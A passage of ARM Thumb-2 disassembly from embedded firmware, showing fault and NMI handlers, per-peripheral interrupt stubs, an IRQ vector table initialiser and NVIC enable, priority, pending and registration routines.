101d4d40 .word 0x101d4d40 1010658c: e000ed34 .word 0xe000ed34 10106590: 101d4d54 .word 0x101d4d54 10106594: e000ed38 .word 0xe000ed38 10106598: 101d4d68 .word 0x101d4d68 1010659c: e000ed3c .word 0xe000ed3c 101065a0: 101d4d7c .word 0x101d4d7c 101065a4: 101d4d90 .word 0x101d4d90 101065a8: e000ed1f .word 0xe000ed1f 101065ac: 101d4da4 .word 0x101d4da4 101065b0: e000ed22 .word 0xe000ed22 101065b4: 101d4dbc .word 0x101d4dbc 101065b8: e000ed23 .word 0xe000ed23 101065bc: 101d4dd8 .word 0x101d4dd8 101065c0: 2b01 cmp r3, #1 101065c2: d024 beq.n 1010660e <INT_HardFault_C+0x3aa> 101065c4: 2b02 cmp r3, #2 101065c6: d012 beq.n 101065ee <INT_HardFault_C+0x38a> 101065c8: 2b03 cmp r3, #3 101065ca: d018 beq.n 101065fe <INT_HardFault_C+0x39a> 101065cc: 2b04 cmp r3, #4 101065ce: 6823 ldr r3, [r4, #0] 101065d0: d006 beq.n 101065e0 <INT_HardFault_C+0x37c> 101065d2: 039a lsls r2, r3, #14 101065d4: f57f ae57 bpl.w 10106286 <INT_HardFault_C+0x22> 101065d8: 4811 ldr r0, [pc, #68] ; (10106620 <INT_HardFault_C+0x3bc>) 101065da: f7f9 ff0b bl 101003f4 <DiagPrintf> 101065de: e6b0 b.n 10106342 <INT_HardFault_C+0xde> 101065e0: 0399 lsls r1, r3, #14 101065e2: f57f ae50 bpl.w 10106286 <INT_HardFault_C+0x22> 101065e6: 480f ldr r0, [pc, #60] ; (10106624 <INT_HardFault_C+0x3c0>) 101065e8: f7f9 ff04 bl 101003f4 <DiagPrintf> 101065ec: e6a9 b.n 10106342 <INT_HardFault_C+0xde> 101065ee: 6823 ldr r3, [r4, #0] 101065f0: 039b lsls r3, r3, #14 101065f2: f57f ae48 bpl.w 10106286 <INT_HardFault_C+0x22> 101065f6: 480c ldr r0, [pc, #48] ; (10106628 <INT_HardFault_C+0x3c4>) 101065f8: f7f9 fefc bl 101003f4 <DiagPrintf> 101065fc: e6a1 b.n 10106342 <INT_HardFault_C+0xde> 101065fe: 6823 ldr r3, [r4, #0] 10106600: 0398 lsls r0, r3, #14 10106602: f57f ae40 bpl.w 10106286 <INT_HardFault_C+0x22> 10106606: 4809 ldr r0, [pc, #36] ; (1010662c <INT_HardFault_C+0x3c8>) 10106608: f7f9 fef4 bl 101003f4 <DiagPrintf> 1010660c: e699 b.n 10106342 <INT_HardFault_C+0xde> 1010660e: 6823 ldr r3, [r4, #0] 10106610: 039a lsls r2, r3, #14 10106612: f57f ae38 bpl.w 10106286 <INT_HardFault_C+0x22> 10106616: 4806 ldr r0, [pc, #24] ; (10106630 <INT_HardFault_C+0x3cc>) 10106618: f7f9 feec bl 101003f4 <DiagPrintf> 1010661c: e691 b.n 10106342 <INT_HardFault_C+0xde> 1010661e: bf00 nop 10106620: 101d4bfc .word 0x101d4bfc 10106624: 101d4be4 .word 0x101d4be4 10106628: 101d4bb8 .word 0x101d4bb8 1010662c: 101d4bcc .word 0x101d4bcc 10106630: 101d4ba4 .word 0x101d4ba4 10106634 <INT_NMI>: 10106634: 4b03 ldr r3, [pc, #12] ; (10106644 <INT_NMI+0x10>) 10106636: 681b ldr r3, [r3, #0] 10106638: 039b lsls r3, r3, #14 1010663a: d400 bmi.n 1010663e <INT_NMI+0xa> 1010663c: 4770 bx lr 1010663e: 4802 ldr r0, [pc, #8] ; (10106648 <INT_NMI+0x14>) 10106640: f7f9 bed8 b.w 101003f4 <DiagPrintf> 10106644: 1000000c .word 0x1000000c 10106648: 101d4f08 .word 0x101d4f08 1010664c <INT_Entry>: 1010664c: 2800 cmp r0, #0 1010664e: b410 push {r4} 10106650: db08 blt.n 10106664 <INT_Entry+0x18> 10106652: 2201 movs r2, #1 10106654: f000 041f and.w r4, r0, #31 10106658: 0943 lsrs r3, r0, #5 1010665a: 490e ldr r1, [pc, #56] ; (10106694 <INT_Entry+0x48>) 1010665c: 40a2 lsls r2, r4 1010665e: 3360 adds r3, #96 ; 0x60 10106660: f841 2023 str.w r2, [r1, r3, lsl #2] 10106664: 4b0c ldr r3, [pc, #48] ; (10106698 <INT_Entry+0x4c>) 10106666: f853 3020 ldr.w r3, [r3, r0, lsl #2] 1010666a: b12b cbz r3, 10106678 <INT_Entry+0x2c> 1010666c: 4a0b ldr r2, [pc, #44] ; (1010669c <INT_Entry+0x50>) 1010666e: f85d 4b04 ldr.w r4, [sp], #4 10106672: f852 0020 ldr.w r0, [r2, r0, lsl #2] 10106676: 4718 bx r3 10106678: 4b09 ldr r3, [pc, #36] ; (101066a0 <INT_Entry+0x54>) 1010667a: 681b ldr r3, [r3, #0] 1010667c: 039b lsls r3, r3, #14 1010667e: d402 bmi.n 10106686 <INT_Entry+0x3a> 10106680: f85d 4b04 ldr.w r4, [sp], #4 10106684: 4770 bx lr 10106686: 4601 mov r1, r0 10106688: f85d 4b04 ldr.w r4, [sp], #4 1010668c: 4805 ldr r0, [pc, #20] ; (101066a4 <INT_Entry+0x58>) 1010668e: f7f9 beb1 b.w 101003f4 <DiagPrintf> 10106692: bf00 nop 10106694: e000e100 .word 0xe000e100 10106698: 1007c140 .word 0x1007c140 1010669c: 1007c240 .word 0x1007c240 101066a0: 1000000c .word 0x1000000c 101066a4: 101d4f20 .word 0x101d4f20 101066a8 <INT_Gdma0Ch5_S>: 101066a8: 2039 movs r0, #57 ; 0x39 101066aa: e7cf b.n 1010664c <INT_Entry> 101066ac <INT_Gdma0Ch4_S>: 101066ac: 2038 movs r0, #56 ; 0x38 101066ae: e7cd b.n 1010664c <INT_Entry> 101066b0 <INT_Gdma0Ch3_S>: 101066b0: 2037 movs r0, #55 ; 0x37 101066b2: e7cb b.n 1010664c <INT_Entry> 101066b4 <INT_Gdma0Ch2_S>: 101066b4: 2036 movs r0, #54 ; 0x36 101066b6: e7c9 b.n 1010664c <INT_Entry> 101066b8 <INT_Gdma0Ch1_S>: 101066b8: 2035 movs r0, #53 ; 0x35 101066ba: e7c7 b.n 1010664c <INT_Entry> 101066bc <INT_Gdma0Ch0_S>: 101066bc: 2034 movs r0, #52 ; 0x34 101066be: e7c5 b.n 1010664c <INT_Entry> 101066c0 <INT_Gdma0Ch5>: 101066c0: 202e movs r0, #46 ; 0x2e 101066c2: e7c3 b.n 1010664c <INT_Entry> 101066c4 <INT_Gdma0Ch4>: 101066c4: 202d movs r0, #45 ; 0x2d 101066c6: e7c1 b.n 1010664c <INT_Entry> 101066c8 <INT_Gdma0Ch3>: 101066c8: 202c movs r0, #44 ; 0x2c 101066ca: e7bf b.n 1010664c <INT_Entry> 101066cc <INT_Gdma0Ch2>: 101066cc: 202b movs r0, #43 ; 0x2b 101066ce: e7bd b.n 1010664c <INT_Entry> 101066d0 <INT_Gdma0Ch1>: 101066d0: 202a movs r0, #42 ; 0x2a 101066d2: e7bb b.n 1010664c <INT_Entry> 101066d4 <INT_Gdma0Ch0>: 101066d4: 2029 movs r0, #41 ; 0x29 101066d6: e7b9 b.n 1010664c <INT_Entry> 101066d8 <INT_BT2WL>: 101066d8: 2028 movs r0, #40 ; 0x28 101066da: e7b7 b.n 1010664c <INT_Entry> 101066dc <INT_IR>: 101066dc: 2027 movs r0, #39 ; 0x27 101066de: e7b5 b.n 1010664c <INT_Entry> 101066e0 <INT_USI>: 101066e0: 2026 movs r0, #38 ; 0x26 101066e2: e7b3 b.n 1010664c <INT_Entry> 101066e4 <INT_SPI1>: 101066e4: 2025 movs r0, #37 ; 0x25 101066e6: e7b1 b.n 1010664c <INT_Entry> 101066e8 <INT_SPI0>: 101066e8: 2024 movs r0, #36 ; 0x24 101066ea: e7af b.n 1010664c <INT_Entry> 101066ec <INT_Uart1>: 101066ec: 2023 movs r0, #35 ; 0x23 101066ee: e7ad b.n 1010664c <INT_Entry> 101066f0 <INT_Uart0>: 101066f0: 2022 movs r0, #34 ; 0x22 101066f2: e7ab b.n 1010664c <INT_Entry> 101066f4 <INT_PSRAMC>: 101066f4: 2021 movs r0, #33 ; 0x21 101066f6: e7a9 b.n 1010664c <INT_Entry> 101066f8 <INT_WlProtocol>: 101066f8: 2020 movs r0, #32 101066fa: e7a7 b.n 1010664c <INT_Entry> 101066fc <INT_WlDma>: 101066fc: 201f movs r0, #31 101066fe: e7a5 b.n 1010664c <INT_Entry> 10106700 <INT_ADCComp>: 10106700: 201e movs r0, #30 10106702: e7a3 b.n 1010664c <INT_Entry> 10106704 <INT_PowerDown>: 10106704: 201d movs r0, #29 10106706: e7a1 b.n 1010664c <INT_Entry> 10106708 <INT_I2S0>: 10106708: 201c movs r0, #28 1010670a: e79f b.n 1010664c <INT_Entry> 1010670c <INT_IPSEC>: 1010670c: 201b movs r0, #27 1010670e: e79d b.n 1010664c <INT_Entry> 10106710 <INT_SdioH>: 10106710: 201a movs r0, #26 10106712: e79b b.n 1010664c <INT_Entry> 10106714 <INT_SdioD>: 10106714: 2019 movs r0, #25 10106716: e799 b.n 1010664c <INT_Entry> 10106718 <INT_OTG>: 10106718: 2018 movs r0, #24 1010671a: e797 b.n 1010664c <INT_Entry> 1010671c <INT_LCDC>: 1010671c: 2017 movs r0, #23 1010671e: e795 b.n 1010664c <INT_Entry> 10106720 <INT_Timer5>: 10106720: 2016 movs r0, #22 10106722: e793 b.n 1010664c <INT_Entry> 10106724 <INT_Timer4>: 10106724: 2015 movs r0, #21 10106726: e791 b.n 1010664c <INT_Entry> 10106728 <INT_Timer3>: 10106728: 2014 movs r0, #20 1010672a: e78f b.n 1010664c <INT_Entry> 1010672c <INT_Timer2>: 1010672c: 2013 movs r0, #19 1010672e: e78d b.n 1010664c <INT_Entry> 10106730 <INT_Timer1>: 10106730: 2012 movs r0, #18 10106732: e78b b.n 1010664c <INT_Entry> 10106734 <INT_Timer0>: 10106734: 2011 movs r0, #17 10106736: e789 b.n 1010664c <INT_Entry> 10106738 <INT_QDECODER>: 10106738: 2010 movs r0, #16 1010673a: e787 b.n 1010664c <INT_Entry> 1010673c <INT_ADC>: 1010673c: 200f movs r0, #15 1010673e: e785 b.n 1010664c <INT_Entry> 10106740 <INT_IPC>: 10106740: 200e movs r0, #14 10106742: e783 b.n 1010664c <INT_Entry> 10106744 <INT_SGPIO>: 10106744: 200d movs r0, #13 10106746: e781 b.n 1010664c <INT_Entry> 10106748 <INT_BOR2>: 10106748: 200c movs r0, #12 1010674a: e77f b.n 1010664c <INT_Entry> 1010674c <INT_CTOUCH>: 1010674c: 200b movs r0, #11 1010674e: e77d b.n 1010664c <INT_Entry> 10106750 <INT_KEYSCAN>: 10106750: 200a movs r0, #10 10106752: e77b b.n 1010664c <INT_Entry> 10106754 <INT_UARTLP>: 10106754: 2009 movs r0, #9 10106756: e779 b.n 1010664c <INT_Entry> 10106758 <INT_GPIOB>: 10106758: 2008 movs r0, #8 1010675a: e777 b.n 1010664c <INT_Entry> 1010675c <INT_SPIFlash>: 1010675c: 2007 movs r0, #7 1010675e: e775 b.n 1010664c <INT_Entry> 10106760 <INT_I2C0>: 10106760: 2006 movs r0, #6 10106762: e773 b.n 1010664c <INT_Entry> 10106764 <INT_RTC>: 10106764: 2005 movs r0, #5 10106766: e771 b.n 1010664c <INT_Entry> 10106768 <INT_GPIOA>: 10106768: 2004 movs r0, #4 1010676a: e76f b.n 1010664c <INT_Entry> 1010676c <INT_Uartlog>: 1010676c: 2003 movs r0, #3 1010676e: e76d b.n 1010664c <INT_Entry> 10106770 <INT_RXI300>: 10106770: 2002 movs r0, #2 10106772: e76b b.n 1010664c <INT_Entry> 10106774 <INT_Wdg>: 10106774: 2001 movs r0, #1 10106776: e769 b.n 1010664c <INT_Entry> 10106778 <INT_SysOn>: 10106778: 2000 movs r0, #0 1010677a: e767 b.n 1010664c <INT_Entry> 1010677c <irq_table_init>: 1010677c: 4b51 ldr r3, [pc, #324] ; (101068c4 <irq_table_init+0x148>) 1010677e: b5f0 push {r4, r5, r6, r7, lr} 10106780: 4951 ldr r1, [pc, #324] ; (101068c8 <irq_table_init+0x14c>) 10106782: 4c52 ldr r4, [pc, #328] ; (101068cc <irq_table_init+0x150>) 10106784: 4a52 ldr r2, [pc, #328] ; (101068d0 <irq_table_init+0x154>) 10106786: 4f53 ldr r7, [pc, #332] ; (101068d4 <irq_table_init+0x158>) 10106788: 4e53 ldr r6, [pc, #332] ; (101068d8 <irq_table_init+0x15c>) 1010678a: 6018 str r0, [r3, #0] 1010678c: 4d53 ldr r5, [pc, #332] ; (101068dc <irq_table_init+0x160>) 1010678e: 609c str r4, [r3, #8] 10106790: 4853 ldr r0, [pc, #332] ; (101068e0 <irq_table_init+0x164>) 10106792: 4c54 ldr r4, [pc, #336] ; (101068e4 <irq_table_init+0x168>) 10106794: 6119 str r1, [r3, #16] 10106796: 615a str r2, [r3, #20] 10106798: 4953 ldr r1, [pc, #332] ; (101068e8 <irq_table_init+0x16c>) 1010679a: 4a54 ldr r2, [pc, #336] ; (101068ec <irq_table_init+0x170>) 1010679c: 619f str r7, [r3, #24] 1010679e: 61de str r6, [r3, #28] 101067a0: 4f53 ldr r7, [pc, #332] ; (101068f0 <irq_table_init+0x174>) 101067a2: 4e54 ldr r6, [pc, #336] ; (101068f4 <irq_table_init+0x178>) 101067a4: 641d str r5, [r3, #64] ; 0x40 101067a6: 645c str r4, [r3, #68] ; 0x44 101067a8: 4d53 ldr r5, [pc, #332] ; (101068f8 <irq_table_init+0x17c>) 101067aa: 4c54 ldr r4, [pc, #336] ; (101068fc <irq_table_init+0x180>) 101067ac: 6498 str r0, [r3, #72] ; 0x48 101067ae: 64d9 str r1, [r3, #76] ; 0x4c 101067b0: 4853 ldr r0, [pc, #332] ; (10106900 <irq_table_init+0x184>) 101067b2: 4954 ldr r1, [pc, #336] ; (10106904 <irq_table_init+0x188>) 101067b4: 651a str r2, [r3, #80] ; 0x50 101067b6: 4a54 ldr r2, [pc, #336] ; (10106908 <irq_table_init+0x18c>) 101067b8: 655f str r7, [r3, #84] ; 0x54 101067ba: 659e str r6, [r3, #88] ; 0x58 101067bc: 4f53 ldr r7, [pc, #332] ; (1010690c <irq_table_init+0x190>) 101067be: 4e54 ldr r6, [pc, #336] ; (10106910 <irq_table_init+0x194>) 101067c0: 65dd str r5, [r3, #92] ; 0x5c 101067c2: 661c str r4, [r3, #96] ; 0x60 101067c4: 4d53 ldr r5, [pc, #332] ; (10106914 <irq_table_init+0x198>) 101067c6: 4c54 ldr r4, [pc, #336] ; (10106918 <irq_table_init+0x19c>) 101067c8: 6658 str r0, [r3, #100] ; 0x64 101067ca: 6699 str r1, [r3, #104] ; 0x68 101067cc: 4853 ldr r0, [pc, #332] ; (1010691c <irq_table_init+0x1a0>) 101067ce: 4954 ldr r1, [pc, #336] ; (10106920 <irq_table_init+0x1a4>) 101067d0: 66da str r2, [r3, #108] ; 0x6c 101067d2: 4a54 ldr r2, [pc, #336] ; (10106924 <irq_table_init+0x1a8>) 101067d4: 671f str r7, [r3, #112] ; 0x70 101067d6: 675e str r6, [r3, #116] ; 0x74 101067d8: 4f53 ldr r7, [pc, #332] ; (10106928 <irq_table_init+0x1ac>) 101067da: 4e54 ldr r6, [pc, #336] ; (1010692c <irq_table_init+0x1b0>) 101067dc: 679d str r5, [r3, #120] ; 0x78 101067de: 67dc str r4, [r3, #124] ; 0x7c 101067e0: 4d53 ldr r5, [pc, #332] ; (10106930 <irq_table_init+0x1b4>) 101067e2: 4c54 ldr r4, [pc, #336] ; (10106934 <irq_table_init+0x1b8>) 101067e4: f8c3 0080 str.w r0, [r3, #128] ; 0x80 101067e8: f8c3 1084 str.w r1, [r3, #132] ; 0x84 101067ec: 4852 ldr r0, [pc, #328] ; (10106938 <irq_table_init+0x1bc>) 101067ee: 4953 ldr r1, [pc, #332] ; (1010693c <irq_table_init+0x1c0>) 101067f0: f8c3 2088 str.w r2, [r3, #136] ; 0x88 101067f4: f8df e1bc ldr.w lr, [pc, #444] ; 101069b4 <irq_table_init+0x238> 101067f8: 4a51 ldr r2, [pc, #324] ; (10106940 <irq_table_init+0x1c4>) 101067fa: f8c3 708c str.w r7, [r3, #140] ; 0x8c 101067fe: f8c3 6090 str.w r6, [r3, #144] ; 0x90 10106802: 4f50 ldr r7, [pc, #320] ; (10106944 <irq_table_init+0x1c8>) 10106804: 4e50 ldr r6, [pc, #320] ; (10106948 <irq_table_init+0x1cc>) 10106806: f8c3 5094 str.w r5, [r3, #148] ; 0x94 1010680a: f8c3 4098 str.w r4, [r3, #152] ; 0x98 1010680e: 4d4f ldr r5, [pc, #316] ; (1010694c <irq_table_init+0x1d0>) 10106810: 4c4f ldr r4, [pc, #316] ; (10106950 <irq_table_init+0x1d4>) 10106812: f8c3 009c str.w r0, [r3, #156] ; 0x9c 10106816: f8c3 e00c str.w lr, [r3, #12] 1010681a: 484e ldr r0, [pc, #312] ; (10106954 <irq_table_init+0x1d8>) 1010681c: f8c3 10a0 str.w r1, [r3, #160] ; 0xa0 10106820: 494d ldr r1, [pc, #308] ; (10106958 <irq_table_init+0x1dc>) 10106822: f8c3 20a4 str.w r2, [r3, #164] ; 0xa4 10106826: 4a4d ldr r2, [pc, #308] ; (1010695c <irq_table_init+0x1e0>) 10106828: f8c3 70a8 str.w r7, [r3, #168] ; 0xa8 1010682c: f8c3 60ac str.w r6, [r3, #172] ; 0xac 10106830: 4f4b ldr r7, [pc, #300] ; (10106960 <irq_table_init+0x1e4>) 10106832: 4e4c ldr r6, [pc, #304] ; (10106964 <irq_table_init+0x1e8>) 10106834: f8c3 50b0 str.w r5, [r3, #176] ; 0xb0 10106838: f8c3 40b4 str.w r4, [r3, #180] ; 0xb4 1010683c: 4d4a ldr r5, [pc, #296] ; (10106968 <irq_table_init+0x1ec>) 1010683e: 4c4b ldr r4, [pc, #300] ; (1010696c <irq_table_init+0x1f0>) 10106840: f8c3 00b8 str.w r0, [r3, #184] ; 0xb8 10106844: f8c3 10bc str.w r1, [r3, #188] ; 0xbc 10106848: 4849 ldr r0, [pc, #292] ; (10106970 <irq_table_init+0x1f4>) 1010684a: 494a ldr r1, [pc, #296] ; (10106974 <irq_table_init+0x1f8>) 1010684c: f8c3 20c0 str.w r2, [r3, #192] ; 0xc0 10106850: 4a49 ldr r2, [pc, #292] ; (10106978 <irq_table_init+0x1fc>) 10106852: f8c3 70c4 str.w r7, [r3, #196] ; 0xc4 10106856: f8c3 60c8 str.w r6, [r3, #200] ; 0xc8 1010685a: 4f48 ldr r7, [pc, #288] ; (1010697c <irq_table_init+0x200>) 1010685c: 4e48 ldr r6, [pc, #288] ; (10106980 <irq_table_init+0x204>) 1010685e: f8c3 50cc str.w r5, [r3, #204] ; 0xcc 10106862: f8c3 40d0 str.w r4, [r3, #208] ; 0xd0 10106866: 4d47 ldr r5, [pc, #284] ; (10106984 <irq_table_init+0x208>) 10106868: 4c47 ldr r4, [pc, #284] ; (10106988 <irq_table_init+0x20c>) 1010686a: f8c3 00d4 str.w r0, [r3, #212] ; 0xd4 1010686e: f8c3 10d8 str.w r1, [r3, #216] ; 0xd8 10106872: 4846 ldr r0, [pc, #280] ; (1010698c <irq_table_init+0x210>) 10106874: 4946 ldr r1, [pc, #280] ; (10106990 <irq_table_init+0x214>) 10106876: f8c3 20dc str.w r2, [r3, #220] ; 0xdc 1010687a: 4a46 ldr r2, [pc, #280] ; (10106994 <irq_table_init+0x218>) 1010687c: f8c3 70e0 str.w r7, [r3, #224] ; 0xe0 10106880: f8c3 60e4 str.w r6, [r3, #228] ; 0xe4 10106884: f8c3 50e8 str.w r5, [r3, #232] ; 0xe8 10106888: f8c3 40ec str.w r4, [r3, #236] ; 0xec 1010688c: f8c3 00f0 str.w r0, [r3, #240] ; 0xf0 10106890: f8c3 10f4 str.w r1, [r3, #244] ; 0xf4 10106894: f8c3 20f8 str.w r2, [r3, #248] ; 0xf8 10106898: 4f3f ldr r7, [pc, #252] ; (10106998 <irq_table_init+0x21c>) 1010689a: 4e40 ldr r6, [pc, #256] ; (1010699c <irq_table_init+0x220>) 1010689c: 4d40 ldr r5, [pc, #256] ; (101069a0 <irq_table_init+0x224>) 1010689e: 4c41 ldr r4, [pc, #260] ; (101069a4 <irq_table_init+0x228>) 101068a0: 4841 ldr r0, [pc, #260] ; (101069a8 <irq_table_init+0x22c>) 101068a2: 4942 ldr r1, [pc, #264] ; (101069ac <irq_table_init+0x230>) 101068a4: 4a42 ldr r2, [pc, #264] ; (101069b0 <irq_table_init+0x234>) 101068a6: f8c3 7110 str.w r7, [r3, #272] ; 0x110 101068aa: f8c3 6114 str.w r6, [r3, #276] ; 0x114 101068ae: f8c3 5118 str.w r5, [r3, #280] ; 0x118 101068b2: f8c3 411c str.w r4, [r3, #284] ; 0x11c 101068b6: f8c3 0120 str.w r0, [r3, #288] ; 0x120 101068ba: f8c3 1124 str.w r1, [r3, #292] ; 0x124 101068be: 6093 str r3, [r2, #8] 101068c0: bdf0 pop {r4, r5, r6, r7, pc} 101068c2: bf00 nop 101068c4: 1007c000 .word 0x1007c000 101068c8: 101061e5 .word 0x101061e5 101068cc: 10106635 .word 0x10106635 101068d0: 10106205 .word 0x10106205 101068d4: 10106225 .word 0x10106225 101068d8: 10106245 .word 0x10106245 101068dc: 10106779 .word 0x10106779 101068e0: 10106771 .word 0x10106771 101068e4: 10106775 .word 0x10106775 101068e8: 1010676d .word 0x1010676d 101068ec: 10106769 .word 0x10106769 101068f0: 10106765 .word 0x10106765 101068f4: 10106761 .word 0x10106761 101068f8: 1010675d .word 0x1010675d 101068fc: 10106759 .word 0x10106759 10106900: 10106755 .word 0x10106755 10106904: 10106751 .word 0x10106751 10106908: 1010674d .word 0x1010674d 1010690c: 10106749 .word 0x10106749 10106910: 10106745 .word 0x10106745 10106914: 10106741 .word 0x10106741 10106918: 1010673d .word 0x1010673d 1010691c: 10106739 .word 0x10106739 10106920: 10106735 .word 0x10106735 10106924: 10106731 .word 0x10106731 10106928: 1010672d .word 0x1010672d 1010692c: 10106729 .word 0x10106729 10106930: 10106725 .word 0x10106725 10106934: 10106721 .word 0x10106721 10106938: 1010671d .word 0x1010671d 1010693c: 10106719 .word 0x10106719 10106940: 10106715 .word 0x10106715 10106944: 10106711 .word 0x10106711 10106948: 1010670d .word 0x1010670d 1010694c: 10106709 .word 0x10106709 10106950: 10106705 .word 0x10106705 10106954: 10106701 .word 0x10106701 10106958: 101066fd .word 0x101066fd 1010695c: 101066f9 .word 0x101066f9 10106960: 101066f5 .word 0x101066f5 10106964: 101066f1 .word 0x101066f1 10106968: 101066ed .word 0x101066ed 1010696c: 101066e9 .word 0x101066e9 10106970: 101066e5 .word 0x101066e5 10106974: 101066e1 .word 0x101066e1 10106978: 101066dd .word 0x101066dd 1010697c: 101066d9 .word 0x101066d9 10106980: 101066d5 .word 0x101066d5 10106984: 101066d1 .word 0x101066d1 10106988: 101066cd .word 0x101066cd 1010698c: 101066c9 .word 0x101066c9 10106990: 101066c5 .word 0x101066c5 10106994: 101066c1 .word 0x101066c1 10106998: 101066bd .word 0x101066bd 1010699c: 101066b9 .word 0x101066b9 101069a0: 101066b5 .word 0x101066b5 101069a4: 101066b1 .word 0x101066b1 101069a8: 101066ad .word 0x101066ad 101069ac: 101066a9 .word 0x101066a9 101069b0: e000ed00 .word 0xe000ed00 101069b4: 101061c5 .word 0x101061c5 101069b8 <irq_enable>: 101069b8: 2800 cmp r0, #0 101069ba: db07 blt.n 101069cc <irq_enable+0x14> 101069bc: 2301 movs r3, #1 101069be: f000 011f and.w r1, r0, #31 101069c2: 4a03 ldr r2, [pc, #12] ; (101069d0 <irq_enable+0x18>) 101069c4: 408b lsls r3, r1 101069c6: 0940 lsrs r0, r0, #5 101069c8: f842 3020 str.w r3, [r2, r0, lsl #2] 101069cc: 4770 bx lr 101069ce: bf00 nop 101069d0: e000e100 .word 0xe000e100 101069d4 <irq_disable>: 101069d4: 2800 cmp r0, #0 101069d6: db0c blt.n 101069f2 <irq_disable+0x1e> 101069d8: 2301 movs r3, #1 101069da: f000 011f and.w r1, r0, #31 101069de: 4a05 ldr r2, [pc, #20] ; (101069f4 <irq_disable+0x20>) 101069e0: 0940 lsrs r0, r0, #5 101069e2: 408b lsls r3, r1 101069e4: 3020 adds r0, #32 101069e6: f842 3020 str.w r3, [r2, r0, lsl #2] 101069ea: f3bf 8f4f dsb sy 101069ee: f3bf 8f6f isb sy 101069f2: 4770 bx lr 101069f4: e000e100 .word 0xe000e100 101069f8 <irq_set_priority>: 101069f8: 2800 cmp r0, #0 101069fa: db08 blt.n 10106a0e <irq_set_priority+0x16> 101069fc: 0109 lsls r1, r1, #4 101069fe: f100 4060 add.w r0, r0, #3758096384 ; 0xe0000000 10106a02: b2c9 uxtb r1, r1 10106a04: f500 4061 add.w r0, r0, #57600 ; 0xe100 10106a08: f880 1300 strb.w r1, [r0, #768] ; 0x300 10106a0c: 4770 bx lr 10106a0e: 4b04 ldr r3, [pc, #16] ; (10106a20 <irq_set_priority+0x28>) 10106a10: f000 000f and.w r0, r0, #15 10106a14: 0109 lsls r1, r1, #4 10106a16: b2c9 uxtb r1, r1 10106a18: 4403 add r3, r0 10106a1a: 7619 strb r1, [r3, #24] 10106a1c: 4770 bx lr 10106a1e: bf00 nop 10106a20: e000ecfc .word 0xe000ecfc 10106a24 <irq_get_priority>: 10106a24: 2800 cmp r0, #0 10106a26: db07 blt.n 10106a38 <irq_get_priority+0x14> 10106a28: f100 4060 add.w r0, r0, #3758096384 ; 0xe0000000 10106a2c: f500 4061 add.w r0, r0, #57600 ; 0xe100 10106a30: f890 0300 ldrb.w r0, [r0, #768] ; 0x300 10106a34: 0900 lsrs r0, r0, #4 10106a36: 4770 bx lr 10106a38: 4b03 ldr r3, [pc, #12] ; (10106a48 <irq_get_priority+0x24>) 10106a3a: f000 000f and.w r0, r0, #15 10106a3e: 4403 add r3, r0 10106a40: 7e18 ldrb r0, [r3, #24] 10106a42: 0900 lsrs r0, r0, #4 10106a44: 4770 bx lr 10106a46: bf00 nop 10106a48: e000ecfc .word 0xe000ecfc 10106a4c <irq_set_pending>: 10106a4c: 2800 cmp r0, #0 10106a4e: db08 blt.n 10106a62 <irq_set_pending+0x16> 10106a50: 2301 movs r3, #1 10106a52: f000 011f and.w r1, r0, #31 10106a56: 4a03 ldr r2, [pc, #12] ; (10106a64 <irq_set_pending+0x18>) 10106a58: 0940 lsrs r0, r0, #5 10106a5a: 408b lsls r3, r1 10106a5c: 3040 adds r0, #64 ; 0x40 10106a5e: f842 3020 str.w r3, [r2, r0, lsl #2] 10106a62: 4770 bx lr 10106a64: e000e100 .word 0xe000e100 10106a68 <irq_get_pending>: 10106a68: 1e03 subs r3, r0, #0 10106a6a: db0a blt.n 10106a82 <irq_get_pending+0x1a> 10106a6c: 095a lsrs r2, r3, #5 10106a6e: 4906 ldr r1, [pc, #24] ; (10106a88 <irq_get_pending+0x20>) 10106a70: 3240 adds r2, #64 ; 0x40 10106a72: f851 0022 ldr.w r0, [r1, r2, lsl #2] 10106a76: f003 031f and.w r3, r3, #31 10106a7a: 40d8 lsrs r0, r3 10106a7c: f000 0001 and.w r0, r0, #1 10106a80: 4770 bx lr 10106a82: 2000 movs r0, #0 10106a84: 4770 bx lr 10106a86: bf00 nop 10106a88: e000e100 .word 0xe000e100 10106a8c <irq_clear_pending>: 10106a8c: 2800 cmp r0, #0 10106a8e: db08 blt.n 10106aa2 <irq_clear_pending+0x16> 10106a90: 2301 movs r3, #1 10106a92: f000 011f and.w r1, r0, #31 10106a96: 4a03 ldr r2, [pc, #12] ; (10106aa4 <irq_clear_pending+0x18>) 10106a98: 0940 lsrs r0, r0, #5 10106a9a: 408b lsls r3, r1 10106a9c: 3060 adds r0, #96 ; 0x60 10106a9e: f842 3020 str.w r3, [r2, r0, lsl #2] 10106aa2: 4770 bx lr 10106aa4: e000e100 .word 0xe000e100 10106aa8 <irq_register>: 10106aa8: b430 push {r4, r5} 10106aaa: 4d0f ldr r5, [pc, #60] ; (10106ae8 <irq_register+0x40>) 10106aac: 4c0f ldr r4, [pc, #60] ; (10106aec <irq_register+0x44>) 10106aae: f040 0001 orr.w r0, r0, #1 10106ab2: 2900 cmp r1, #0 10106ab4: f845 0021 str.w r0, [r5, r1, lsl #2] 10106ab8: f844 2021 str.w r2, [r4, r1, lsl #2] 10106abc: db0a blt.n 10106ad4 <irq_register+0x2c> 10106abe: 011b lsls r3, r3, #4 10106ac0: f101 4160 add.w r1, r1, #3758096384 ; 0xe0000000 10106ac4: b2db uxtb r3, r3 10106ac6: f501 4161 add.w r1, r1, #57600 ; 0xe100 10106aca: f881 3300 strb.w r3, [r1, #768] ; 0x300 10106ace: 2001 movs r0, #1 10106ad0: bc30 pop {r4, r5} 10106ad2: 4770 bx lr 10106ad4: 4a06 ldr r2, [pc, #24] ; (10106af0 <irq_register+0x48>) 10106ad6: f001 010f and.w r1, r1, #15 10106ada: 011b lsls r3, r3, #4 10106adc: b2db uxtb r3, r3 10106ade: 440a add r2, r1 10106ae0: 7613 strb r3, [r2, #24] 10106ae2: 2001 movs r0, #1 10106ae4: bc30 pop {r4, r5} 10106ae6: 4770 bx lr 10106ae8: 1007c140 .word 0x1007c140 10106aec: 1007c240 .word 0x1007c240 10106af0: e000ecfc .word 0xe000ecfc 10106af4 <irq_unregister>: 10106af4: 2300 movs r3, #0 10106af6: 4904 ldr r1, [pc, #16] ; (10106b08 <irq_unregister+0x14>) 10106af8: 4a04 ldr r2, [pc, #16] ; (10106b0c <irq_unregister+0x18>) 10106afa: f841 3020 str.w r3, [r1, r0, lsl #2] 10106afe: f842 3020 str.w r3, [r2, r0, lsl #2] 10106b02: 2001 movs r0, #1 10106b04: 4770 bx lr 10106b06: bf00 